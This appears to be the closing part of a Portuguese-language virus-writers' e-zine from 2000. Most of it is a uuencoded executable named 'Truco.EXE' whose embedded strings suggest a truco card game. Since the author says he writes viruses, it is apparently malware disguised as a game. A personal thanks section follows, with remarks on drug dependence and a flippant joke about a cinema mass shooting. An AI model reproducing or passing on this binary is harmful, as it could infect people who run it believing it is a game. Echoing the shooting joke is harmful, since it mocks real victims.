MV0#XPPO`=#/H+P$#TP/!/1``<@0M$`!".Q[2*'(<=P8[#M`H<A0[%M8H=PYR M!CL&U"AW!L0^V"CK3_G#)CM=`G(>=P4F.PUR%R8[709W-W(&)CM-!'<O)HL- M)HM=`NL-)CM5`G(@=P4F.P5R&28[509W$'(&)CM%!'<()HM%!":+50;H50"# MQP@+_W6O.Q;6*'4/.P;4*'4)B0[4*(D>UBC#Z!(`<@\FB0TFB5T")HE%!":) M50;#BS[8*(/O"'09B_?1[M'NT>[1[@,VVB@[-M8H=@6)/M@HP_G#BS;8*/PF MI2:E)J4FI8/O"(DVV"C#BS[8*`O_=1$K/MPH=1,S]HL^VBB!QP`0PRL^W"AS M`C/_B_>!Y@\`T>_1[]'OT>\#/MHH.S[6*'<0<@8[-M0H<PB+-M0HBS[6*,.+ MT"4/`-'JT>K1ZM'JP[$$T\*+RH'A\/^!X@\`"\'#_(O<C-HVQ'\(-L5W!*RJ MBL@R[?.DCMK*!`#\B]R,VC;%=PHVQ'\&-HM/!*PZP78"BL&JBL@R[?.DCMK* M"@"+W#;$?P0FB@4RY,H$`/R+W(S:-L1_##;%=PB*!#+D-HM/!@O)?P.Y`0`# M\2O!<A-`-HM/!`O)?0(SR3O!=@:+P>L",\"JB\CSI([:R@@`_(O<C-HVQ'\( M-L5W!":*#3+MK"8`!7,()L8%_XK!]M`#^4>*R/.DCMK*!`#\B]P>-L5W"#;$ M?P2*##+M)HH5,O8KT7(8N`$`"\ET$T)&1U%65_.F7UY9=`9`2G7Q,\`?R@@` M_(O<C-HVQ7<(-L1_!*PFBB5'BL@ZS'8"BLP*R70&,NWSIG4".L2.VLH(`/R+ MW#;$?P:P`:HVBD<$JLH"`/R+W(S:-L1_"C;%=P8VBT<$JHO(\Z2.VLH&`%6+ M[('L``*-O@#_%E?$?@H&5[@!`%"+1@9(4`[HY?[$?@X&5P[H'?^-O@#^%E?$ M?@H&5_]V!KC_`%`.Z,;^#N@#_\1^"@97_W8(#NB$_HOE7<H,`%6+[('L``*# M?@8`?D.-O@#_%E?$?@H&5[@!`%"+1@A(4`[HB_Z-O@#^%E?$?@H&5XM&"`-& M!E"X_P!0#NAQ_@[HKO[$?@H&5[C_`%`.Z"[^B^5=R@@`_(O<C-HVQ'\*-L5W M!C:+7P2*SS+M,L#SJHK+\Z2Q("K+*L_SJH[:R@8`_(O<-L1_!+D0`#/`\ZO+ MB]PVQ'\&-HI'!(K8,O^Q`]/KBLB`X0>P`=+@)@@!R@(`B]PVQ'\(-HI'!C:* M5P0JT'(?_L**V#+_L0/3ZXK(@.$'L`'2X"8(`=#`@],`_LIU],H$`/R+W(S: M-L5W"C;$?P8VBU\$BL\R[0/QBLOSI([:R@H`B]PVQ'\$-HI'"(K8,O^Q`]/K MBLB`X0>P`=+@)H0!R@8`_(O<C-HVQ'\(-L5W!+D0`*T+!:OB^H[:R@0`_(O< MC-HVQ'\(-L5W!+D0`*WWT",%J^+XCMK*!`#\B]R,VC;$?P@VQ7<$N1``K2,% MJ^+ZCMK*!`#\B]R,VC;$?P@VQ7<$N1``\Z>.VLH(`/R+W(S:-L1_"#;%=P2Y M$`"M"P6O=0+B^([:R@@`@?<`@`K)=`H*P'4'B\&+WHO7PSK!=@61A]Z'URK! M]M@\*'/HAL%5B^\SZIR+[X#.@('/`("`^1!R"XKGB]HSTH#I$.OP@/D(<@V* MXXK?BOJ*UC+V@.D("LET"M'JT=O0W/[)=?:=>!4"Y1/>$]=S7]':T=O0W/[` M=57Y7<.&Y8?>A]<JY1O>&]=S$X'U`(#VU/?3]]*`Q`&#TP"#T@"Q!0KV=12* M\HK7BON*W#+D+`AV%?[)=>KK#_;&@'42T.31T]'2_LAU\3/`,]LSTEW#@.9_ M@>4`@#/57<,*R71R"L!T=`+!Z/D`=FU54%=648OLBNR+\XOZ,N0SVS/2@^T% MBD8&"L!U#(KCBM^*^HK6,O;K&+$(T-AS!@+E$]X3U]':T=O0W/[)=>S0T44[ M['70BD8&]L:`=0[0V=#4T=/1T@K`=`+^R#)V`(/$"%T*P'4&,\`SVS/2PPK` M=#\JP?7H?P!V-U51@^P$4(OL@\4%L0@[UW4&.]YU`CKE<@8JY1O>&]?UT-#^ MR702T.31T]'2<]\JY1O>&]?YZ^G#B$8`L0A-.^QUY-#DT=/1TG(+.]=U!CO> M=0(ZY?71UEA;6EE=]L:`=0K1WM#4T=/1TNL%_L#Y=`PR\0K`=08SP#/;,]+# M<@L$@'(+,\`SVS/2PP2`<A&7BLPRSO;1@.&`@,R`@,Z`E\-2,]=:>052T=): MP_;&@'0'Z`0`=!3UPSK!=0X*P'0*.]=U!CO>=0(ZY<.+V`O:=#B*[@O2>0KW MT/?2!0$`@](`B]BXH``+TG4,A].PD`KV=02&\K"("])X"/[(`]L3TGGX"NUX M`X#F?\.3L9\JRW).@/D?=TO^P8K^@,Z`@/D1<@>+PC/2@.D0@/D)<@N*Q(KB MBM8R]H#I"-'JT=C^R77X<PP*[70(!0$`@](`>!`*_WD*]]#WT@4!`(/2`/C# M^<,SP#/2P^@Y_7([R^@O_7(URXO(B_.+^NC]_7(IRPK)="KH</YR'\OH%O_+ MZ#S_R[4`Z'7_<@G+M0'H;?]R`<NXSP#I"?6XS0#I`_6XR`#I_?3H2P`SP(O< M-HM?!`O;=`22]_.2R@(`Z#4`D[B``+D@`/;&@'4*T>/1TO[(XO,RP(#F?\OH M&`";+M\&.PV;VP;L*)O9X9O9_9O=V9O+X?^A["B+'NXHB\@N]R9S#='AT>'1 MX0+I`]$#T]'CT>,#TP+SL073XP+S!0$`@](`H^PHB1;N*,,%A+0LS2&)#NPH MB1;N*,N+W!XVQ'\(-L5W!/PSP*NXL->KN(``JS/`JZNKC45TJXS`J[BF#JN, MR*LSP+D.`/.KK#Q/=@*P3XK(,NWSI#+`JA_*"`"+W#;$?PHVBT<$)HE%!#:+ M1P8FB44,-HM'"":)10XSP":)10@FB44*R@H`NK'7ZPBZLM?K`[JSUXO<-L1_ M!":+10(]L==T$CVRUW0-/;#7=`W'!@4I9@#K(5+H:P!:,\`FB54")HE%"":) M10J[$`#H7`!T!B;'10*PU\H$`(O<-L1_!.@?`'4#Z#$`R@0`B]PVQ'\$Z`X` M=0GH+``FQT4"L-?*!``F@7T"L==T#B:!?0*RUW0&QP8%*6<`P[L4`":!?0*R MUW0'P^CQ_[L<``97!E<F_QD+P'0#HP4I7P?#B]P>-L5_!#/)B0VX`#V!?0*Q MUW0-L`+_!8%]`K/7=`*T/(!],`!T"8U5,,TA<DN)!;B##[M^#X%]`K'7=":+ M';@`1,TAN-P/B]CVPH!U$(%]`K/7=0/H)0"XLP^[?@_'10*RUXE%%(Q-%HE= M&(Q-&L=%'``0C$T>,\`?R@0`,](SR8L=N`)"S2$M@`"#V@!S!#/`,]*+RHO0 MBQVX`$+-(8V5@`"Y@`"+';0_S2%S`C/`,]L[V'0@@+F``!IT`T/K\HO3*]"Y M__^+';@"0LTA,\F+';1`S2'#,\#*!`"+W!XVQ'\$)L55#":+300FBQVT/\TA M<A`FB44*,\`FQT4(```?R@0`)L=%"@``Z^Z+W!XVQ'\$)L55#":+30@FBQVT M0,TA<@<KP70#N&4`)L=%"```'\H$`(O<'C;$?P0FQ54,)HM-"":+';1`S2%R M`C/`)L=%"```'\H$`(O<-L1_!":+'8/[!'8$M#[-(3/`R@0`)H%]`K'7=1F# M/@4I`'487AX&5R:+70@FBU4*)L1]#/_FQP8%*6@`PSO:=`4FB@'XPU$>5HY> M_L1^^B:)70@&5R;_710+P'0#HP4IQ'[Z)HM="":+50HFQ'T,7A]9.]IUR[`: M^<->7P<?)HE="/_F)H%]`K+7=1F#/@4I`'487AX&5R:+70@FBU4$)L1]#/_F MQP8%*6D`PR:(`4,[VG0!PU$>5HY>_L1^^B:)70@&5R;_710+P'0#HP4IQ'[Z M)HM="":+500FQ'T,7A]9PUY?!Q\FB5T(_^95B^S$?@;H(/]U%^A#_SP:=`U# M/`UU].@W_SP*=0%#Z&S_78O<-L1_!":!?0*QUW44@SX%*0!U"@97)O]=&`O` M=0;*!`"X:`"C!2GK]56+[,1^!NA"_W4-L`WH8_^P"NA>_^B1_UV+W#;$?P0F M@7T"LM=U%(,^!2D`=0H&5R;_71@+P'4&R@0`N&D`HP4IZ_55B^S$?@;HD/YU M"^BS_G(!0^CJ_EW+L!KK^E6+[,1^"NCE_G46BTX&27X'L"#H`/_B^8I&".CX M_N@K_UW*!`!5B^S$?@SH4?YU)<5V"#/)Z&_^/`UT#CP:=`I#04:(!#M.!G7K M*_&(#.B3_EW*!@#$?@@FQ@4`Z_-5B^S$?@SHA_YU)<5V"(M.!ORL,N0KR'X) M4+`@Z)G^XOE8B\CC!_RLZ(W^XOGHOOY=R@8`B]R,VC;%=PHVQ'\&-HM/!/P[ M]W,'`_$#^4Y/_?.DCMK*"@"+W#;$?P@VBT\&-HI'!/SSJLH(`(O<-HI'!#QA M<@8\>G<"+"#*`@`````````````````B17-S82!E=2!D96EX;R!V;V-E(&=A M;FAA<BP@<&%T;RXN+@`````````````````````50V%I(&9O<F$L(&UA;&%N M9')O+BXN```````````````````````````````````````74V%I('!R82!L M82<L(&UA<G)E8V\N+BX````````````````````````````````````A3F5S M<V$@974@9G5J;RX@5F%M;W,@=F5R(&]U=')A+BXN```````````````````` M```:36%N9&$@=FER(&5S<V$L('!A;&AA8V\N+BX````````````````````` M```````````.36%N9&$@8G)A<V$N+BX````````````````````````````` M```````````````````?5F]C92!N86\@=&5M(&YA9&$L('!A=&\N($-A:2XN M+@`````````````````````````H27-S;R!E)R!U;2!B;&5F86\@9&%Q=65L M97,N($-A:2P@<&%T;RXN+@`````````````H5'5D;R!B96TN($YA('!R;WAI M;6$@;F%O('1E;2!B;VDL(&YA;RXN+@`````````````84V]R=&4@9&4@<')I M;F-I<&EA;G1E+BXN```````````````````````````````````41V%N:&]U M(&YA('-U:F5I<F$N+BX````````````````````````````````````````= M5&%M8F5M+"!E=2!N86\@=&EN:&$@8V%R=&$N+BX````````````````````` M```````=4V\G(&1A(&\@8F]N>F%O(&%Q=6D@;65S;6\N+BX````````````` M```````````````C5&5N=&$@;W5T<F$@<75E(&YA;R!D974@<')O(&-H96ER M;RX````````````````````B17-S92!J;V=O(&4G('-O)R!P87)A('%U96T@ M<V%B92XN+@`````````````````````F36%N9&$@=FER(&]U=')O('%U92!E M<W-E(&4G(&UU:71O('!A=&\````````````````%5')U8V\$4V5I<P`$3F]V M90`$1&]Z90`$``0`!`8#!30U-C=12DM!,C,```````"^K`*[$@`N@0<1T8/# M`TM.=?1_OW\7<3(--==;]&FRH_`BZA,08_$4$&/Q%!#GV"37V_&OZE'&HQB[ MKW=]!]=X[Q8G+WTU`2_75?)^1[+;,4IBLA<J+]=9[Q:J,=?>\;HS+==L\34. ML.N!-J,?O*4R[^WO+T87D3'7BN_Q?_SW%@$OLNUS+ZXR\/%P7?(NKR^RO<?R M<%T!+Z\OO#>RN\<T_RX_7?*TPR\=N'4![UQZM<4O';AU_^^&'3)U">\H??\= MNI4'[Q;]+NH9[R[O+N\N^5_++LLX(N^(8LKM[R_7+^]A[F+<\HM=[DWR+[)L MV"1C/F\K`:/]:^]Y8VG91#!0[^D1!KX7S2YS[V=8/X+UXAX7NC`5KRXN9#)R M\O94>G8&4PYK!:3Z5'">#(GT5'*.#B_VB4?^/X)`@46"B[WWO%?;UON]Z M]%1[/8$OIR\R%WHP0($-8K@7'S"G,2P7;#!AI8(]#N?OA=>A\']!%YHPJ8ST M%E8P;VU,-#RC9]_Q%E0O<"F4*&:*<!E)-"I%331C@'#Q231X14HT</'R+]>F M\NA,--=E\.(OZ$8TJ:CT%AHP(>_77^_H23373_"(2*_0#V_X!>?OA>WOUS_P M34F(U^;OXBT7]"_V34Z-28A*A]A&[HA)&M7C,<@B^-<=[[F_%UXPLK(MIO0N M9!9P;5PT079C#K,U8#1[-<,OD@7O\O69]-')+WLUQR^V-5PT07:G,3'((OC7 MX^]^08*@.\(1>@>@,\(:\@$4/N^)&D54-'A%8C22H/2QL9-X15HT28?TB/2Q MP2^H+_$EX&]X14XTDI#TN06@]!:=,:-OJ(GTZ&@TUY?OYN]PB&*X%TXOJ8ST M%M0OUX7O%R(NIR\R+:\7.B^R\J<V_?O_XN_[!?P(\J<OZ2VOZ32(UV'OYN_X MJG%#_!YK[Z/,XQG\$*_M.60";RD%I+WC^+N%LO+[$!?_+J,X?,69,KQ0HR^\ M1;+\$/*D+ZFO[^/OWN_?]0#/N;>ON#"G+_06"2]A-NWU;RWXH]/H$B^G-OW[ M_Q#H\K9SZR+O\;Q"LM24\I33LN,NZ`LOLG1AH5YI#X,Q<$5/79`/G%2<7J%8 MD`]=_#A"GEND4I!>:0]S5*)8HF.06Y0/E`^C5)UCE`^=7J50G%2=8Y0/7?PX M$^,OZ/(NLN,OZ`LOLCT.8NZZY.B>,>+4LG!6I%"A4Y0/D%N69)UB3UB=8J-0 MG6.48D\=71U3UR_OBW`<DC*[\DJ#,W86:"B,_#@/3P]/#T\/=EZ<4(Y#@D&. M*&@/GUZA#WU8G$YQ9*+\./PX#UT=70]V7IQ03U^089`/HE2<7Z%43V*49$]1 MD%V37D]3E`]R9*%DH61/'5T=3_PX_#@/<%:A4)-4DEB<5)UCGF)/*3SY3D.D M89Q03S.0#W9>G%!/%Y1BGU226)!;G%2=8Y0/GU"A4$]>3T&45IAB3U1/7Z%> M3S:D6)U>6/PX#X9>=P]Q89!IF%N;6)!=3S:A7J1?3QM/1)U8DE"<7T\T@!QH M)T\;3U1/7Y!AD`^0#YQ8G5>0#SSY3ER879`/70]S,'TX3S2$#X,T3S!\/D\= M71T\^3OY3C*84Y!3E`]_4*-AF%"A4I`/7`^)7IU03SN48J-43QQ/0G\/7`^" M4)X/?U"D6YX/7`]Q89!BF%L\^3OY3C&>4$]BGF&C5$\;3U"7#Y!?E&&C4$]0 MFU:D7)`/HU226Y`/GU"A4$]2GEVC6)UDD&%/'5T=//E2/X!!8=/\";@%/N^' M<O`!N/TX[SSV[/4NKJCTYP$OXM.HV_';&O&:$>F(1_*?,KXIIQCD?T>RVS%* '\M@O[WM)>5VX ` end ;;;;;;;;;;;;;;;;;;;;; Truco.EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ─────────────────────────────────────────────────────────────────────────── __ ___ | / |__| | |__ | | |/ | | |___ |___ |___| ─────────────────────────────────────────────────────────────────────────── ─────────────────── 12 - Valeu ... ─────────────────── O legal de se escrever alguma coisa e' pensar que alguem ira' ler , senao nao o o porque disso, vejo que a cada edicao agradeco a uma quan- tidade maior de pessoas, e' muito interessante voce perceber que o seu circulo de amizades vai crescendo a cada dia que passa e a lista de pessoas ao seu redor e que gostam de voce aumenta sempre... Agradeco a Fernanda por ter me iluminado numa situacao que me acoi- tava a tempos (ja' ouviu falar em depressao, o bago e' serio mano, se cuida, psquiatra nao e' so' para louco ...) e sem qualquer comprometimento a mais, ela apenas abriu meus olhos e vi o que sempre pensava saber mas nao tinha coragem de perguntar... SE voce acha que sabe alguma coisa ! NAO pergunte pois a resposta pode ser o que voce achava que era e ai a casa cai... Estou hoje tomando uns tarja Preta, acho que estou meio que viciado pois passo mal quando esqueco de toma-los, mas e' uma droga permitida... Cuidado com seu baseado, embora inocente voce pode de bobeira assi- nar um usuario (16), ou se foder bastante depois que acabou de comprar o bago e ficar em cana com um trafico (12) nas costas, cuidado ... Uma faculdade e' sempre bom ... Mas espere estar formado para sair matando a galera em Cinemas... Cela especial e tudo mais, nao faca como o inocente do mano da metralhadora, que so' faltavam 6 meses para ele se formar... Saber esperar e' uma virtude, ja' dizia o sabio chines ... Fico por aqui e vamos aos agradecimentos ... Erica, Katiane e Tatiane, curti ter conhecido vo6 garotas, ao xarope do Raul e do Marcelo ( se vemos em Sao Pedro !!! ) `a familia do Poin por ter me recebido tao bem em peruibe, a Gi por ter deixado eu dormir la no AP. dela no guaruja e pra todas mulheres do mundo um grande beijo , um em especial `a minha atual namorada Juliana ... Eu amo voce Juliana. Passado e' passado , valeu irmaos isso e' por voces , estejam em paz onde estiverem ... SAUDADES de voces, um dia estaremos juntos novamente ! Esqueca o que os outros dizem ser NORMAL, isso nao existe, faco virus e isso nao me torna nenhum ser ANORMAL, tenho uma otima vida so- cial, amo minha namorada, adoro meus amigos e minha familia e sou uma pessoa feliz. Pense nisso, nunca deixe de tentar ser feliz ou buscar prazer em algo pelo que os outros iram dizer ou pensar. Foda-se, tente ser feliz . Valeu Galera . Um abraco ... Nim Bus Akemi 01.01.2000